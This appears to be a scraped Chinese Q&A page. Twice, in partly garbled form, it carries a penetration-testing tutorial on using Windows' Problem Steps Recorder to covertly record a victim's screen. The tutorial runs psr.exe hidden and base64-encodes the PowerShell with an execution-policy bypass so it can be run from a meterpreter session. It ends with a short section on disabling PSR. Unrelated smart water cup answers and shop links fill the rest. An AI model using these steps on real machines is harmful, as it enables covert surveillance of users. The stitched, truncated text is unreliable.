⑴ 如何巧妙利用PSR監控Windows桌面
0x00 前言
在滲透測試的過程中，如果需要獲取主機的更多信息，相比於鍵盤記錄，記錄系統屏幕的操作往往更加直接有效。
也許每個人都有自己獨特的實現方式，但是如果能夠利用Windows系統自帶的程序實現，個人認為絕對是最優先考慮的方案。
下面就介紹一下如何利用Windows系統自帶的功能實現監控屏幕操作。
0x01 簡介
PSR（Problem Steps Recorder），直譯為問題步驟記錄器，在Windows 早期的系統中，採用 WER （Windows Error Reporting）來收集系統的錯誤報告，但這些報告往往包含的信息太少以致於無法解決實際問題。
為此，微軟從Windows 7系統開始，增加了PSR來解決這個問題，PSR能夠記錄用戶在遇到崩潰時執行的所有操作，以便測試人員和開發人員能夠重現環境對其分析和調試。
當PSR運行時，將會自動記錄屏幕的操作，每次操作都會自動保存成一張圖片，最終生成一份zip格式的報告。
註：
網路對psr的名稱描述有誤，准確的應為Problem Steps Recorder（該問題已提交）
如圖
鏈接為：
http://ke..com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K
0x02 使用方法
1、啟動psr.exe，點擊開始錄制
可使用快捷鍵win+R直接輸入psr來啟動下圖為psr的操作面板，點擊開始記錄即可記錄當前的屏幕操作
點擊後會提示許可權的問題，如果需要記錄管理員許可權的程序，那麼需要以管理員許可權來運行psr，如圖
2、進行任意操作
當運行psr開始錄制後，滑鼠點擊時會增加特效
如圖
3、停止記錄，保存報告
如圖
4、查看報告
報告會對每次操作截圖，並記錄滑鼠的操作
比如滑鼠的單擊操作，從截圖注釋可以看到當前的滑鼠做了哪些操作
而且，在報告後半部分會詳細記錄相關細節，裡面的內容也很是有趣：
0x03 進階方法
psr在記錄屏幕的操作中會啟動UI界面，並且對滑鼠點擊操作增加特效，這顯然無法滿足滲透測試的要求。
但好在psr提供了命令行參數用作後台記錄
命令行參數如下：
#!bash
psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]
/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.
結合實際，可使用以下命令：
psr.exe /start /gui 0 /output C:\test\capture.zip
後台啟動psr並開始錄制，文件保存為C:\test\capture.zip
psr.exe /stop
結束錄制並退出psr，自動保存報告文件
0x04 實際測試
測試環境：
Server：
OS：Kali linux
IP：192.168.174.133
Client：
OS:Win7 x86
IP:192.168.174.128
Kali已獲得meterpreter許可權
如圖
測試功能：
自動啟動錄制
錄制指定時間後自動退出
自動保存報告文件
可使用Powershell對上述功能做簡單實現：
1、啟動自動錄制，設置為無界面模式，並指定輸出路徑：
#!bash
psr.exe /start /gui 0 /output C:\test\capture.zip;
2、等待10s，即錄制時間為10s：
#!bash
Start-Sleep -s 10;
3、結束錄制，自動退出：
#!bash
psr.exe /stop;
可將以上代碼保存為 C:\test\1.txt ，然後對其作base64加密
在Powershell環境下執行如下代碼來對功能代碼進行base64加密：
#!powershell
$string=Get-Content "C:\test\1.txt"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
如圖，從輸出得到加密的Powershell命令為：
#!bash
BzAHQAbwBwADsA
然後就可以在meterpreter的shell下直接執行Powershell命令：
#!bash
powershell -ep bypass -enc BzAHQAbwBwADsA
代碼執行後，等待10s產成報告文件capture.zip，測試成功
0x05 防禦
可採用以下兩種方法關閉psr：
1、使用組策略
中文系統：
gpedit.msc-管理模板-Windows組件-應用程序兼容性
啟用關閉問題步驟記錄器
如圖
英文系統：
gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility
啟用Turn off Problem Steps Recorder
如圖
2、修改注冊表
#!bash
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
新建 "DisableUAR"=dword:00000001
如圖
註：
dword=1對應組策略中的已啟用
dword=0對應組策略中的已禁用
刪除"DisableUAR"對應組策略中的未配置
0x06 小結
利用PSR監控Windows桌面，不僅僅能夠捕獲用戶桌面的操作，而且在報告中會包含更多有用的細節信息，相信你在滲透測試的過程中，一定會用上它。
⑵ 智能水杯哪個牌子好，有什麼好的推薦
感覺智能水杯品牌還是滿多的，比如麥開，桔子，ocup，lehoo智能水杯等等。lehoo偏實用，整體不錯。
⑶ 如何巧妙利用PSR監控Windows桌面
0x00前言在滲透測試的過程中，如果需要獲取主機的信息，相比於鍵盤記錄，記錄系統屏幕的操作往往更加直接有效。也許每個人都有自己獨特的實現方式，但是如果能夠利用Windows系統自帶的程序實現，個人認為絕對是最優先考慮的方案。下面就介紹一下如何利用Windows系統自帶的功能實現監控屏幕操作。0x01簡介PSR（ProblemStepsRecorder），直譯為問題步驟記錄器，在Windows早期的系統中，採用WER（WindowsErrorReporting）來收集系統的錯誤報告，但這些報告往往包含的信息太少以致於無法解決實際問題。為此，微軟從Windows7系統開始，增加了PSR來解決這個問題，PSR能夠記錄用戶在遇到崩潰時執行的所有操作，以便測試人員和開發人員能夠重現環境對其分析和調試。當PSR運行時，將會自動記錄屏幕的操作，每次操作都會自動保存成一張圖片，最終生成一份zip格式的報告。註：網路對psr的名稱描述有誤，准確的應為ProblemStepsRecorder（該問題已提交）如圖鏈接為：http://ke..com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K0x02使用方法1、啟動psr.exe，點擊開始錄制可使用快捷鍵win+R直接輸入psr來啟動下圖為psr的操作面板，點擊開始記錄即可記錄當前的屏幕操作點擊後會提示許可權的問題，如果需要記錄管理員許可權的程序，那麼需要以管理員許可權來運行psr，如圖2、進行任意操作當運行psr開始錄制後，滑鼠點擊時會增加特效如圖3、停止記錄，保存報告如圖4、查看報告報告會對每次操作截圖，並記錄滑鼠的操作比如滑鼠的單擊操作，從截圖注釋可以看到當前的滑鼠做了哪些操作而且，在報告後半部分會詳細記錄相關細節，裡面的內容也很是有趣：0x03進階方法psr在記錄屏幕的操作中會啟動UI界面，並且對滑鼠點擊操作增加特效，這顯然無法滿足滲透測試的要求。但好在psr提供了命令行參數用作後台記錄命令行參數如下：#!bashpsr.exe[/start|/stop][/output][/sc(0|1)][/maxsc][/sketch(0|1)][/slides(0|1)][/gui(0|1)][/arcetl(0|1)][/arcxml(0|1)][/arcmht(0|1)][/stopevent][/maxlogsize][/recordpid]/startStartRecording.()/stopStopRecording./././maxlogsizeMaximumlogfilesize(inMB)beforewrappingoccurs./guiDisplaycontrolGUI./././././././.結合實際，可使用以下命令：psr.exe/start/gui0/outputC:\test\capture.zip後台啟動psr並開始錄制，文件保存為C:\test\capture.zippsr.exe/stop結束錄制並退出psr，自動保存報告文件0x04實際測試測試環境：Server：OS：KalilinuxIP：192.168.174.133Client：OS:Win7x86IP:192.168.174.128Kali已獲得meterpreter許可權如圖測試功能：自動啟動錄制錄制指定時間後自動退出自動保存報告文件可使用Powershell對上述功能做簡單實現：1、啟動自動錄制，設置為無界面模式，並指定輸出路徑：#!bashpsr.exe/start/gui0/outputC:\test\capture.zip;2、等待10s，即錄制時間為10s：#!bashStart-Sleep-s10;3、結束錄制，自動退出：#!bashpsr.exe/stop;可將以上代碼保存為C:\test\1.txt，然後對其作base64加密在Powershell環境下執行如下代碼來對功能代碼進行base64加密：#!powershell$string=Get-Content"C:\test\1.txt"$bytes=[System.Text.Encoding]::Unicode.GetBytes($string)$encoded=[System.Convert]::ToBase64String($bytes)$encoded如圖，從輸出得到加密的Powershell命令為：#!AALwBzAHQAbwBwADsA然後就可以在meterpreter的shell下直接執行Powershell命令：#!bashpowershell-epbypass-ALwBzAHQAbwBwADsA代碼執行後，等待10s產成報告文件capture.zip，測試成功0x05防禦可採用以下兩種方法關閉psr：1、使用組策略中文系統：gpedit.msc-管理模板-Windows組件-應用程序兼容性啟用關閉問題步驟記錄器如圖英文系統：gpedit.msc-ComputerConfiguration-AdministrativeTemplates-WindowsComponents-ApplicationCompatibility啟用TurnoffProblemStepsRecorder如圖2、修改注冊表#!bash[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]新建"DisableUAR"=dword:00000001如圖註：dword=1對應組策略中的已啟用dword=0對應組策略中的已禁用刪除"DisableUAR"對應組策略中的未配置0x06小結利用PSR監控Windows桌面，不僅僅能夠捕獲用戶桌面的操作，而且在報告中會包含有用的細節信息，相信你在滲透測試的過程中，一定會用上它。
⑷ ocup智能水杯燈怎麼不亮
你好，這個你可以去他們官網看看，一般都有說明的，還有智能水杯我推薦桔子智能水杯不錯，你哪個不好用，希望能夠幫到你。
⑸ ocup水杯的茶顏功能是什麼意思，怎麼用
tastea---稱之為「茶顏」，是都市茶文化的延續。每一種茶都是獨一無二，茶的味道跟四個要素相關：水溫、水量、時間、茶量，當這四個要素都能被准確測量，「茶顏」由此誕生。得益於智能和便捷的ocup水杯，您只需在往ocup杯子中放入一包teao茶包，便可以在ocup APP上看到teao茶包的茶味、茶效、產地和茶齡等信息，ocup杯子不僅能對水溫、水量進行精準測量，還可以計算出最佳泡茶時間，只需放入teao茶包並倒入適量熱水蓋好杯蓋，ocup自動為您泡好最佳口感、清香四溢的好茶並及時提醒您享用。
目前網路未來商店ocup智能水杯限時優惠，歡迎來選購
購買鏈接： http://store..com/proct/view/3155.html?ch=a&zch=lab#3155004
⑹ 智能水杯哪個牌子好
在國內智能水杯行業里，我只知道有兩個牌子公司比較出名的，一個是麥開，一個是lehoo（樂喝喝），麥開的智能水杯價格偏貴，使用APP鏈接，有關人士表示現在什麼都用手機APP，造成了托累的情況。而lehoo偏向是實用性，買回來並不須要怎樣的操作，裝上電就可以用，比較大眾化。看你怎麼選擇了~~
⑺ ocup智能水杯怎麼顯示我喝了多少水啊
ocup智能水杯配合APP使用，在說明書或者在各大應用商店搜索ocup應用,下載安裝即可。在APP首頁下方菜單的「數據」，可以直觀的查看到當前飲水量與目標飲水量。
目前網路未來商店ocup智能水杯限時優惠，歡迎來選購
購買鏈接： http://store..com/proct/view/3155.html?ch=a&zch=lab#3155004